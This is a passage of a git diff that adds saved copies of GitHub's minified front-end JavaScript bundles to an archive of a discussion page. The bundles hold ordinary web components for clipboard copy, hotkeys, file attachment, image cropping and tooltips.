${t}s`;case"second":return"now"}else if(n===1)switch(t){case"year":case"quarter":case"month":case"week":return`next ${t}`;case"day":return"tomorrow";case"hour":case"minute":case"second":return`in 1 ${t}`}else if(n===-1)switch(t){case"year":case"quarter":case"month":case"week":return`last ${t}`;case"day":return"yesterday";case"hour":case"minute":case"second":return`1 ${t} ago`}else if(n>1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`in ${n} ${t}s`}else if(n<-1)switch(t){case"year":case"quarter":case"month":case"week":case"day":case"hour":case"minute":case"second":return`${-n} ${t}s ago`}throw new RangeError(`Invalid unit argument for format() '${t}'`)}i(O,"formatEnRelativeTime");const Z=b({hour:"numeric",minute:"2-digit"});class T extends A{getFormattedDate(){const t=this.date;if(!!t)return new y(t,E(this)).toString()}connectedCallback(){e.push(this),o||(a(),o=window.setInterval(a,60*1e3)),super.connectedCallback()}disconnectedCallback(){const t=e.indexOf(this);t!==-1&&e.splice(t,1),e.length||o&&(clearInterval(o),o=null)}}i(T,"RelativeTimeElement");const e=[];let o;function a(){let n,t,r;for(t=0,r=e.length;t{var V=Object.defineProperty;var o=(U,I)=>V(U,"name",{value:I,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","node_modules_delegated-events_dist_index_js"],{76745:(U,I,H)=>{H.d(I,{Z:()=>j});function b(c){const d=document.createElement("pre");return d.style.width="1px",d.style.height="1px",d.style.position="fixed",d.style.top="5px",d.textContent=c,d}o(b,"createNode");function E(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c.textContent);const d=getSelection();if(d==null)return Promise.reject(new Error);d.removeAllRanges();const k=document.createRange();return k.selectNodeContents(c),d.addRange(k),document.execCommand("copy"),d.removeAllRanges(),Promise.resolve()}o(E,"copyNode");function _(c){if("clipboard"in navigator)return navigator.clipboard.writeText(c);const d=document.body;if(!d)return Promise.reject(new Error);const k=b(c);return d.appendChild(k),E(k),d.removeChild(k),Promise.resolve()}o(_,"copyText");function D(c){const d=c.getAttribute("for"),k=c.getAttribute("value");function L(){c.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(o(L,"trigger"),k)_(k).then(L);else if(d){const C="getRootNode"in Element.prototype?c.getRootNode():c.ownerDocument;if(!(C instanceof Document||"ShadowRoot"in window&&C instanceof ShadowRoot))return;const N=C.getElementById(d);N&&q(N).then(L)}}o(D,"copy");function q(c){return c instanceof HTMLInputElement||c instanceof HTMLTextAreaElement?_(c.value):c instanceof HTMLAnchorElement&&c.hasAttribute("href")?_(c.href):E(c)}o(q,"copyTarget");function M(c){const d=c.currentTarget;d instanceof HTMLElement&&D(d)}o(M,"clicked");function A(c){if(c.key===" "||c.key==="Enter"){const d=c.currentTarget;d instanceof HTMLElement&&(c.preventDefault(),D(d))}}o(A,"keydown");function R(c){c.currentTarget.addEventListener("keydown",A)}o(R,"focused");function T(c){c.currentTarget.removeEventListener("keydown",A)}o(T,"blurred");class S extends HTMLElement{constructor(){super();this.addEventListener("click",M),this.addEventListener("focus",R),this.addEventListener("blur",T)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(d){this.setAttribute("value",d)}}o(S,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=S,window.customElements.define("clipboard-copy",S));const j=S},59753:(U,I,H)=>{H.d(I,{f:()=>B,on:()=>W});function b(){if(!(this instanceof b))return new b;this.size=0,this.uid=0,this.selectors=[],this.selectorObjects={},this.indexes=Object.create(this.indexes),this.activeIndexes=[]}o(b,"SelectorSet");var E=window.document.documentElement,_=E.matches||E.webkitMatchesSelector||E.mozMatchesSelector||E.oMatchesSelector||E.msMatchesSelector;b.prototype.matchesSelector=function(e,t){return _.call(e,t)},b.prototype.querySelectorAll=function(e,t){return t.querySelectorAll(e)},b.prototype.indexes=[];var D=/^#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"ID",selector:o(function(t){var n;if(n=t.match(D))return n[0].slice(1)},"matchIdSelector"),element:o(function(t){if(t.id)return[t.id]},"getElementId")});var q=/^\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"CLASS",selector:o(function(t){var n;if(n=t.match(q))return n[0].slice(1)},"matchClassSelector"),element:o(function(t){var n=t.className;if(n){if(typeof n=="string")return n.split(/\s/);if(typeof n=="object"&&"baseVal"in n)return n.baseVal.split(/\s/)}},"getElementClassNames")});var M=/^((?:[\w\u00c0-\uFFFF\-]|\\.)+)/g;b.prototype.indexes.push({name:"TAG",selector:o(function(t){var n;if(n=t.match(M))return n[0].toUpperCase()},"matchTagSelector"),element:o(function(t){return[t.nodeName.toUpperCase()]},"getElementTagName")}),b.prototype.indexes.default={name:"UNIVERSAL",selector:function(){return!0},element:function(){return[!0]}};var A;typeof window.Map=="function"?A=window.Map:A=function(){function e(){this.map={}}return o(e,"Map"),e.prototype.get=function(t){return this.map[t+" "]},e.prototype.set=function(t,n){this.map[t+" "]=n},e}();var R=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g;function T(e,t){e=e.slice(0).concat(e.default);var n=e.length,u,i,f,l,g=t,y,w,v=[];do if(R.exec(""),(f=R.exec(g))&&(g=f[3],f[2]||!g)){for(u=0;u3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];l||(l=new b,f[e]=l,document.addEventListener(e,O,i)),l.add(t,n)}o(W,"on");function G(e,t,n){var u=arguments.length>3&&arguments[3]!==void 0?arguments[3]:{},i=!!u.capture,f=i?d:c,l=f[e];!l||(l.remove(t,n),!l.size&&(delete f[e],document.removeEventListener(e,O,i)))}o(G,"off");function B(e,t,n){return e.dispatchEvent(new CustomEvent(t,{bubbles:!0,cancelable:!0,detail:n}))}o(B,"fire")},11793:(U,I,H)=>{H.d(I,{EL:()=>M,N9:()=>C,Tz:()=>N});class b{constructor(s){this.children=[],this.parent=s}delete(s){const r=this.children.indexOf(s);return r===-1?!1:(this.children=this.children.slice(0,r).concat(this.children.slice(r+1)),this.children.length===0&&this.parent.delete(this),!0)}add(s){return this.children.push(s),this}}o(b,"Leaf");class E{constructor(s){this.parent=null,this.children={},this.parent=s||null}get(s){return this.children[s]}insert(s){let r=this;for(let m=0;mh.filter(p=>p!=="")).filter(h=>h.length>0)}o(q,"expandHotkeyToEdges");function M(a){const{ctrlKey:s,altKey:r,metaKey:m,key:h}=a,p=[],F=[s,r,m,R(a)];for(const[O,W]of F.entries())W&&p.push(A[O]);return A.includes(h)||p.push(h),p.join("+")}o(M,"hotkey");const A=["Control","Alt","Meta","Shift"];function R(a){const{shiftKey:s,code:r,key:m}=a;return s&&!(r.startsWith("Key")&&m.toUpperCase()===m)}o(R,"showShift");const T=new E,S=new WeakMap;let j=T,c=null,d=[];function k(){d=[],c=null,j=T}o(k,"resetTriePosition");function L(a){if(a.defaultPrevented||!(a.target instanceof Node))return;if(_(a.target)){const r=a.target;if(!r.id||!r.ownerDocument.querySelector(`[data-hotkey-scope="${r.id}"]`))return}c!=null&&window.clearTimeout(c),c=window.setTimeout(k,1500);const s=j.get(M(a));if(!s){k();return}if(d.push(M(a)),j=s,s instanceof b){const r=a.target;let m=!1,h;const p=_(r);for(let F=s.children.length-1;F>=0;F-=1){h=s.children[F];const O=h.getAttribute("data-hotkey-scope");if(!p&&!O||p&&r.id===O){m=!0;break}}h&&m&&(D(h,d),a.preventDefault()),k()}}o(L,"keyDownHandler");function C(a,s){Object.keys(T.children).length===0&&document.addEventListener("keydown",L);const m=q(s||a.getAttribute("data-hotkey")||"").map(h=>T.insert(h).add(a));S.set(a,m)}o(C,"install");function N(a){const s=S.get(a);if(s&&s.length)for(const r of s)r&&r.delete(a);Object.keys(T.children).length===0&&document.removeEventListener("keydown",L)}o(N,"uninstall")}}]);})(); + +//# sourceMappingURL=vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b-ad1685fb2049.js.map \ No newline at end of file diff --git a/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js new file mode 100644 index 0000000..c9b3123 --- /dev/null +++ b/archive/Place your Ideas here · Discussion #5 · Ta180m_Idiot-Code-Golf_files/vendors-node_modules_github_file-attachment-element_dist_inde.js @@ -0,0 +1,221 @@ +"use strict";(()=>{var dt=Object.defineProperty;var c=(j,P)=>dt(j,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],{76745:(j,P,I)=>{I.d(P,{Z:()=>v});function x(d){const t=document.createElement("pre");return t.style.width="1px",t.style.height="1px",t.style.position="fixed",t.style.top="5px",t.textContent=d,t}c(x,"createNode");function _(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d.textContent);const t=getSelection();if(t==null)return Promise.reject(new Error);t.removeAllRanges();const n=document.createRange();return n.selectNodeContents(d),t.addRange(n),document.execCommand("copy"),t.removeAllRanges(),Promise.resolve()}c(_,"copyNode");function W(d){if("clipboard"in navigator)return navigator.clipboard.writeText(d);const t=document.body;if(!t)return Promise.reject(new Error);const n=x(d);return t.appendChild(n),_(n),t.removeChild(n),Promise.resolve()}c(W,"copyText");function S(d){const t=d.getAttribute("for"),n=d.getAttribute("value");function a(){d.dispatchEvent(new CustomEvent("clipboard-copy",{bubbles:!0}))}if(c(a,"trigger"),n)W(n).then(a);else if(t){const h="getRootNode"in Element.prototype?d.getRootNode():d.ownerDocument;if(!(h instanceof Document||"ShadowRoot"in window&&h instanceof ShadowRoot))return;const g=h.getElementById(t);g&&B(g).then(a)}}c(S,"copy");function B(d){return d instanceof HTMLInputElement||d instanceof HTMLTextAreaElement?W(d.value):d instanceof HTMLAnchorElement&&d.hasAttribute("href")?W(d.href):_(d)}c(B,"copyTarget");function H(d){const t=d.currentTarget;t instanceof HTMLElement&&S(t)}c(H,"clicked");function M(d){if(d.key===" "||d.key==="Enter"){const t=d.currentTarget;t instanceof HTMLElement&&(d.preventDefault(),S(t))}}c(M,"keydown");function R(d){d.currentTarget.addEventListener("keydown",M)}c(R,"focused");function k(d){d.currentTarget.removeEventListener("keydown",M)}c(k,"blurred");class m extends HTMLElement{constructor(){super();this.addEventListener("click",H),this.addEventListener("focus",R),this.addEventListener("blur",k)}connectedCallback(){this.hasAttribute("tabindex")||this.setAttribute("tabindex","0"),this.hasAttribute("role")||this.setAttribute("role","button")}get value(){return this.getAttribute("value")||""}set value(t){this.setAttribute("value",t)}}c(m,"ClipboardCopyElement"),window.customElements.get("clipboard-copy")||(window.ClipboardCopyElement=m,window.customElements.define("clipboard-copy",m));const v=m},57260:(j,P,I)=>{I.d(P,{P:()=>x});class x{constructor(i,f){this.file=i,this.directory=f,this.state="pending",this.id=null,this.href=null,this.name=null,this.percent=0}static traverse(i,f){return _(i,f)}static from(i){const f=[];for(const E of i)if(E instanceof File)f.push(new x(E));else if(E instanceof x)f.push(E);else throw new Error("Unexpected type");return f}get fullPath(){return this.directory?`${this.directory}/${this.file.name}`:this.file.name}isImage(){return["image/gif","image/png","image/jpg","image/jpeg","image/svg+xml"].indexOf(this.file.type)>-1}isVideo(){return["video/mp4","video/quicktime"].indexOf(this.file.type)>-1}saving(i){if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saving`);this.state="saving",this.percent=i}saved(i){var f,E,L;if(this.state!=="pending"&&this.state!=="saving")throw new Error(`Unexpected transition from ${this.state} to saved`);this.state="saved",this.id=(f=i==null?void 0:i.id)!==null&&f!==void 0?f:null,this.href=(E=i==null?void 0:i.href)!==null&&E!==void 0?E:null,this.name=(L=i==null?void 0:i.name)!==null&&L!==void 0?L:null}isPending(){return this.state==="pending"}isSaving(){return this.state==="saving"}isSaved(){return this.state==="saved"}}c(x,"Attachment");function _(s,i){return i&&R(s)?M("",k(s)):Promise.resolve(S(Array.from(s.files||[])).map(f=>new x(f)))}c(_,"transferredFiles");function W(s){return s.name.startsWith(".")}c(W,"hidden");function S(s){return Array.from(s).filter(i=>!W(i))}c(S,"visible");function B(s){return new Promise(function(i,f){s.file(i,f)})}c(B,"getFile");function H(s){return new Promise(function(i,f){const E=[],L=s.createReader(),O=c(()=>{L.readEntries(U=>{U.length>0?(E.push(...U),O()):i(E)},f)},"read");O()})}c(H,"getEntries");async function M(s,i){const f=[];for(const E of S(i))if(E.isDirectory)f.push(...await M(E.fullPath,await H(E)));else{const L=await B(E);f.push(new x(L,s))}return f}c(M,"traverse");function R(s){return s.items&&Array.from(s.items).some(i=>{const f=i.webkitGetAsEntry&&i.webkitGetAsEntry();return f&&f.isDirectory})}c(R,"isDirectory");function k(s){return Array.from(s.items).map(i=>i.webkitGetAsEntry()).filter(i=>i!=null)}c(k,"roots");class m extends HTMLElement{connectedCallback(){this.addEventListener("dragenter",t),this.addEventListener("dragover",t),this.addEventListener("dragleave",n),this.addEventListener("drop",a),this.addEventListener("paste",y),this.addEventListener("change",T)}disconnectedCallback(){this.removeEventListener("dragenter",t),this.removeEventListener("dragover",t),this.removeEventListener("dragleave",n),this.removeEventListener("drop",a),this.removeEventListener("paste",y),this.removeEventListener("change",T)}get directory(){return this.hasAttribute("directory")}set directory(i){i?this.setAttribute("directory",""):this.removeAttribute("directory")}async attach(i){const f=i instanceof DataTransfer?await x.traverse(i,this.directory):x.from(i);this.dispatchEvent(new CustomEvent("file-attachment-accept",{bubbles:!0,cancelable:!0,detail:{attachments:f}}))&&f.length&&this.dispatchEvent(new CustomEvent("file-attachment-accepted",{bubbles:!0,detail:{attachments:f}}))}}c(m,"FileAttachmentElement");function v(s){return Array.from(s.types).indexOf("Files")>=0}c(v,"hasFile");let d=null;function t(s){const i=s.currentTarget;d&&clearTimeout(d),d=window.setTimeout(()=>i.removeAttribute("hover"),200);const f=s.dataTransfer;!f||!v(f)||(f.dropEffect="copy",i.setAttribute("hover",""),s.preventDefault())}c(t,"onDragenter");function n(s){s.dataTransfer&&(s.dataTransfer.dropEffect="none"),s.currentTarget.removeAttribute("hover"),s.stopPropagation(),s.preventDefault()}c(n,"onDragleave");function a(s){const i=s.currentTarget;if(!(i instanceof m))return;i.removeAttribute("hover");const f=s.dataTransfer;!f||!v(f)||(i.attach(f),s.stopPropagation(),s.preventDefault())}c(a,"onDrop");const h=/^image\/(gif|png|jpeg)$/;function g(s){for(const i of s)if(i.kind==="file"&&h.test(i.type))return i.getAsFile();return null}c(g,"pastedFile");function y(s){if(!s.clipboardData||!s.clipboardData.items)return;const i=s.currentTarget;if(!(i instanceof m))return;const f=g(s.clipboardData.items);if(!f)return;const E=[f];i.attach(E),s.preventDefault()}c(y,"onPaste");function T(s){const i=s.currentTarget;if(!(i instanceof m))return;const f=s.target;if(!(f instanceof HTMLInputElement))return;const E=i.getAttribute("input");if(E&&f.id!==E)return;const L=f.files;!L||L.length===0||(i.attach(L),f.value="")}c(T,"onChange"),window.customElements.get("file-attachment")||(window.FileAttachmentElement=m,window.customElements.define("file-attachment",m));var u=null},48030:(j,P,I)=>{I.d(P,{N:()=>W});const x={"outside-top":["outside-bottom","outside-right","outside-left","outside-bottom"],"outside-bottom":["outside-top","outside-right","outside-left","outside-bottom"],"outside-left":["outside-right","outside-bottom","outside-top","outside-bottom"],"outside-right":["outside-left","outside-bottom","outside-top","outside-bottom"]},_={start:["end","center"],end:["start","center"],center:["end","start"]};function W(d,t,n={}){const a=S(d),h=B(a),g=getComputedStyle(a),y=a.getBoundingClientRect(),[T,u]=[g.borderTopWidth,g.borderLeftWidth].map(i=>parseInt(i,10)||0),s={top:y.top+T,left:y.left+u};return R(h,s,d.getBoundingClientRect(),t instanceof Element?t.getBoundingClientRect():t,M(n))}c(W,"getAnchoredPosition");function S(d){let t=d.parentNode;for(;t!==null;){if(t instanceof HTMLElement&&getComputedStyle(t).position!=="static")return t;t=t.parentNode}return document.body}c(S,"getPositionedParent");function B(d){let t=d;for(;t!==null&&!(t===document.body||getComputedStyle(t).overflow!=="visible");)t=t.parentNode;const n=t===document.body||!(t instanceof HTMLElement)?document.body:t,a=n.getBoundingClientRect(),h=getComputedStyle(n),[g,y,T,u]=[h.borderTopWidth,h.borderLeftWidth,h.borderRightWidth,h.borderBottomWidth].map(s=>parseInt(s,10)||0);return{top:a.top+g,left:a.left+y,width:a.width-T-y,height:Math.max(a.height-g-u,n===document.body?window.innerHeight:-1/0)}}c(B,"getClippingRect");const H={side:"outside-bottom",align:"start",anchorOffset:4,alignmentOffset:4,allowOutOfBounds:!1};function M(d={}){var t,n,a,h,g;const y=(t=d.side)!==null&&t!==void 0?t:H.side,T=(n=d.align)!==null&&n!==void 0?n:H.align;return{side:y,align:T,anchorOffset:(a=d.anchorOffset)!==null&&a!==void 0?a:y==="inside-center"?0:H.anchorOffset,alignmentOffset:(h=d.alignmentOffset)!==null&&h!==void 0?h:T!=="center"&&y.startsWith("inside")?H.alignmentOffset:0,allowOutOfBounds:(g=d.allowOutOfBounds)!==null&&g!==void 0?g:H.allowOutOfBounds}}c(M,"getDefaultSettings");function R(d,t,n,a,{side:h,align:g,allowOutOfBounds:y,anchorOffset:T,alignmentOffset:u}){const s={top:d.top-t.top,left:d.left-t.left,width:d.width,height:d.height};let i=k(n,a,h,g,T,u),f=h,E=g;if(i.top-=t.top,i.left-=t.left,!y){const L=x[h];let O=0;if(L){let K=h;for(;Od.width+s.left&&(i.left=d.width+s.left-n.width),L&&Od.height+s.top&&(i.top=d.height+s.top-n.height)}return Object.assign(Object.assign({},i),{anchorSide:f,anchorAlign:E})}c(R,"pureCalculateAnchoredPosition");function k(d,t,n,a,h,g){const y=t.left+t.width,T=t.top+t.height;let u=-1,s=-1;return n==="outside-top"?u=t.top-h-d.height:n==="outside-bottom"?u=T+h:n==="outside-left"?s=t.left-h-d.width:n==="outside-right"&&(s=y+h),(n==="outside-top"||n==="outside-bottom")&&(a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g),(n==="outside-left"||n==="outside-right")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),n==="inside-top"?u=t.top+h:n==="inside-bottom"?u=T-h-d.height:n==="inside-left"?s=t.left+h:n==="inside-right"?s=y-h-d.width:n==="inside-center"&&(s=(y+t.left)/2-d.width/2+h),n==="inside-top"||n==="inside-bottom"?a==="start"?s=t.left+g:a==="center"?s=t.left-(d.width-t.width)/2+g:s=y-d.width-g:(n==="inside-left"||n==="inside-right"||n==="inside-center")&&(a==="start"?u=t.top+g:a==="center"?u=t.top-(d.height-t.height)/2+g:u=T-d.height-g),{top:u,left:s}}c(k,"calculatePosition");function m(d,t,n,a){return d==="outside-top"||d==="outside-bottom"?t.topn.height+n.top:t.leftn.width+n.left}c(m,"shouldRecalculatePosition");function v(d,t,n,a){if(d==="end")return t.leftn.left+n.width||t.left{var x=I(46481),_=I(76745);const W=2e3;function S(o){o.style.display="inline-block"}c(S,"showSVG");function B(o){o.style.display="none"}c(B,"hideSVG");function H(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(S(e),B(r))}c(H,"showCopy");function M(o){const[e,r]=o.querySelectorAll(".octicon");!e||!r||(B(e),S(r))}c(M,"showCheck");const R=new WeakMap;document.addEventListener("clipboard-copy",function({target:o}){if(!(o instanceof HTMLElement)||!o.hasAttribute("data-view-component"))return;const e=R.get(o);e?(clearTimeout(e),R.delete(o)):M(o),R.set(o,setTimeout(()=>{H(o),R.delete(o)},W))});var k=I(29501),m=I(75329);const v=new WeakMap,d=new WeakMap,t=new WeakMap;function n(o){const e=o.currentTarget;if(!(e instanceof i))return;const{box:r,image:p}=t.get(e)||{};if(!r||!p)return;let b=0,w=0;if(o instanceof KeyboardEvent)o.key==="ArrowUp"?w=-1:o.key==="ArrowDown"?w=1:o.key==="ArrowLeft"?b=-1:o.key==="ArrowRight"&&(b=1);else if(d.has(e)&&o instanceof MouseEvent){const A=d.get(e);b=o.pageX-A.dragStartX,w=o.pageY-A.dragStartY}else if(d.has(e)&&o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0],{dragStartX:$,dragStartY:N}=d.get(e);b=A-$,w=C-N}if(b!==0||w!==0){const A=Math.min(Math.max(0,r.offsetLeft+b),p.width-r.offsetWidth),C=Math.min(Math.max(0,r.offsetTop+w),p.height-r.offsetHeight);r.style.left=`${A}px`,r.style.top=`${C}px`,s(e,{x:A,y:C,width:r.offsetWidth,height:r.offsetHeight})}if(o instanceof MouseEvent)d.set(e,{dragStartX:o.pageX,dragStartY:o.pageY});else if(o instanceof TouchEvent){const{pageX:A,pageY:C}=o.changedTouches[0];d.set(e,{dragStartX:A,dragStartY:C})}}c(n,"moveCropArea");function a(o){const e=o.target;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=r.getBoundingClientRect();let w,A,C;if(o instanceof KeyboardEvent){if(o.key==="Escape")return T(r);if(o.key==="-"&&(C=-10),o.key==="="&&(C=10),!C)return;w=p.offsetWidth+C,A=p.offsetHeight+C,v.set(r,{startX:p.offsetLeft,startY:p.offsetTop})}else if(o instanceof MouseEvent){const $=v.get(r);if(!$)return;w=o.pageX-$.startX-b.left-window.pageXOffset,A=o.pageY-$.startY-b.top-window.pageYOffset}else if(o instanceof TouchEvent){const $=v.get(r);if(!$)return;w=o.changedTouches[0].pageX-$.startX-b.left-window.pageXOffset,A=o.changedTouches[0].pageY-$.startY-b.top-window.pageYOffset}w&&A&&y(r,w,A,!(o instanceof KeyboardEvent))}c(a,"updateCropArea");function h(o){const e=o.getRootNode();return e instanceof ShadowRoot?e.host:o}c(h,"getShadowHost");function g(o){const e=o.currentTarget;if(!(e instanceof HTMLElement))return;const r=h(e);if(!(r instanceof i))return;const{box:p}=t.get(r)||{};if(!p)return;const b=o.target;if(b instanceof HTMLElement)if(b.hasAttribute("data-direction")){const w=b.getAttribute("data-direction")||"";r.addEventListener("mousemove",a),r.addEventListener("touchmove",a,{passive:!0}),["nw","se"].indexOf(w)>=0&&r.classList.add("nwse"),["ne","sw"].indexOf(w)>=0&&r.classList.add("nesw"),v.set(r,{startX:p.offsetLeft+(["se","ne"].indexOf(w)>=0?0:p.offsetWidth),startY:p.offsetTop+(["se","sw"].indexOf(w)>=0?0:p.offsetHeight)}),a(o)}else r.addEventListener("mousemove",n),r.addEventListener("touchmove",n,{passive:!0})}c(g,"startUpdate");function y(o,e,r,p=!0){let b=Math.max(Math.abs(e),Math.abs(r),10);const w=v.get(o);if(!w)return;const{box:A,image:C}=t.get(o)||{};if(!A||!C)return;b=Math.min(b,r>0?C.height-w.startY:w.startY,e>0?C.width-w.startX:w.startX);const $=p?Math.round(Math.max(0,e>0?w.startX:w.startX-b)):A.offsetLeft,N=p?Math.round(Math.max(0,r>0?w.startY:w.startY-b)):A.offsetTop;A.style.left=`${$}px`,A.style.top=`${N}px`,A.style.width=`${b}px`,A.style.height=`${b}px`,s(o,{x:$,y:N,width:b,height:b})}c(y,"updateDimensions");function T(o){const{image:e}=t.get(o)||{};if(!e)return;const r=Math.round(e.clientWidth>e.clientHeight?e.clientHeight:e.clientWidth);v.set(o,{startX:(e.clientWidth-r)/2,startY:(e.clientHeight-r)/2}),y(o,r,r)}c(T,"setInitialPosition");function u(o){const e=o.currentTarget;e instanceof i&&(d.delete(e),e.classList.remove("nwse","nesw"),e.removeEventListener("mousemove",a),e.removeEventListener("mousemove",n),e.removeEventListener("touchmove",a),e.removeEventListener("touchmove",n))}c(u,"stopUpdate");function s(o,e){const{image:r}=t.get(o)||{};if(!r)return;const p=r.naturalWidth/r.width;for(const b in e){const w=Math.round(e[b]*p);e[b]=w;const A=o.querySelector(`[data-image-crop-input='${b}']`);A instanceof HTMLInputElement&&(A.value=w.toString())}o.dispatchEvent(new CustomEvent("image-crop-change",{bubbles:!0,detail:e}))}c(s,"fireChangeEvent");class i extends HTMLElement{connectedCallback(){if(t.has(this))return;const e=this.attachShadow({mode:"open"});e.innerHTML=` + + +
    + +
    +
    +
    +
    +
    +
    +
    +
    +
    +
    +`;const r=e.querySelector("[data-crop-box]");if(!(r instanceof HTMLElement))return;const p=e.querySelector("img");p instanceof HTMLImageElement&&(t.set(this,{box:r,image:p}),p.addEventListener("load",()=>{this.loaded=!0,T(this)}),this.addEventListener("mouseleave",u),this.addEventListener("touchend",u),this.addEventListener("mouseup",u),r.addEventListener("mousedown",g),r.addEventListener("touchstart",g,{passive:!0}),this.addEventListener("keydown",n),this.addEventListener("keydown",a),this.src&&(p.src=this.src))}static get observedAttributes(){return["src"]}get src(){return this.getAttribute("src")}set src(e){e?this.setAttribute("src",e):this.removeAttribute("src")}get loaded(){return this.hasAttribute("loaded")}set loaded(e){e?this.setAttribute("loaded",""):this.removeAttribute("loaded")}attributeChangedCallback(e,r,p){const{image:b}=t.get(this)||{};e==="src"&&(this.loaded=!1,b&&(b.src=p))}}c(i,"ImageCropElement");const f=null;window.customElements.get("image-crop")||(window.ImageCropElement=i,window.customElements.define("image-crop",i));var E=I(11095),L=I(48030),O=function(o,e,r,p,b){if(p==="m")throw new TypeError("Private method is not writable");if(p==="a"&&!b)throw new TypeError("Private accessor was defined without a setter");if(typeof e=="function"?o!==e||!b:!e.has(o))throw new TypeError("Cannot write private member to an object whose class did not declare it");return p==="a"?b.call(o,r):b?b.value=r:e.set(o,r),r},U=function(o,e,r,p){if(r==="a"&&!p)throw new TypeError("Private accessor was defined without a getter");if(typeof e=="function"?o!==e||!p:!e.has(o))throw new TypeError("Cannot read private member from an object whose class did not declare it");return r==="m"?p:r==="a"?p.call(o):p?p.value:e.get(o)},G,K,D,z,et,Q,st;const nt="tooltip-open",it=6,lt=["tooltip-n","tooltip-s","tooltip-e","tooltip-w","tooltip-ne","tooltip-se","tooltip-nw","tooltip-sw"];class l extends HTMLElement{constructor(){super(...arguments);G.add(this),K.set(this,void 0),D.set(this,"center"),z.set(this,"outside-bottom"),et.set(this,!1)}styles(){return` + :host { + position: absolute; + z-index: 1000000; + padding: .5em .75em; + font: normal normal 11px/1.5 -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji"; + -webkit-font-smoothing: subpixel-antialiased; + color: var(--color-fg-on-emphasis); + text-align: center; + text-decoration: none; + text-shadow: none; + text-transform: none; + letter-spacing: normal; + word-wrap: break-word; + white-space: pre; + background: var(--color-neutral-emphasis-plus); + border-radius: 6px; + opacity: 0; + max-width: 250px; + word-wrap: break-word; + white-space: normal; + width: max-content; + } + + :host:before{ + position: absolute; + z-index: 1000001; + color: var(--color-neutral-emphasis-plus); + content: ""; + border: 6px solid transparent; + opacity: 0 + } + + @keyframes tooltip-appear { + from { + opacity: 0 + } + to { + opacity: 1 + } + } + + :host:after{ + position: absolute; + display: block; + right: 0; + left: 0; + height: 12px; + content: "" + } + + :host(.${nt}), + :host(.${nt}):before { + animation-name: tooltip-appear; + animation-duration: .1s; + animation-fill-mode: forwards; + animation-timing-function: ease-in; + animation-delay: .4s + } + + :host(.tooltip-s):before, + :host(.tooltip-n):before { + right: 50%; + margin-right: -${it}px; + } + + :host(.tooltip-s):before, + :host(.tooltip-se):before, + :host(.tooltip-sw):before { + bottom: 100%; + border-bottom-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-s):after, + :host(.tooltip-se):after, + :host(.tooltip-sw):after { + bottom: 100% + } + + :host(.tooltip-n):before, + :host(.tooltip-ne):before, + :host(.tooltip-nw):before { + top: 100%; + border-top-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-n):after, + :host(.tooltip-ne):after, + :host(.tooltip-nw):after { + top: 100% + } + + :host(.tooltip-se):before, + :host(.tooltip-ne):before { + left: 0; + margin-left: ${it}px; + } + + :host(.tooltip-sw):before, + :host(.tooltip-nw):before { + right: 0; + margin-right: ${it}px; + } + + :host(.tooltip-w):before { + top: 50%; + bottom: 50%; + left: 100%; + margin-top: -6px; + border-left-color: var(--color-neutral-emphasis-plus) + } + + :host(.tooltip-e):before { + top: 50%; + right: 100%; + bottom: 50%; + margin-top: -6px; + border-right-color: var(--color-neutral-emphasis-plus) + } + `}get htmlFor(){return this.getAttribute("for")||""}set htmlFor(e){this.setAttribute("for",e)}get type(){return this.getAttribute("data-type")==="label"?"label":"description"}set type(e){this.setAttribute("data-type",e)}get direction(){return this.getAttribute("data-direction")||"s"}set direction(e){this.setAttribute("data-direction",e)}get control(){return this.ownerDocument.getElementById(this.htmlFor)}connectedCallback(){var e;if(!this.shadowRoot){const p=this.attachShadow({mode:"open"});p.innerHTML=` + + + `}if(this.hidden=!0,O(this,et,!0,"f"),this.id||(this.id=`tooltip-${Date.now()}-${(Math.random()*1e4).toFixed(0)}`),!this.control)return;this.setAttribute("role","tooltip"),(e=U(this,K,"f"))===null||e===void 0||e.abort(),O(this,K,new 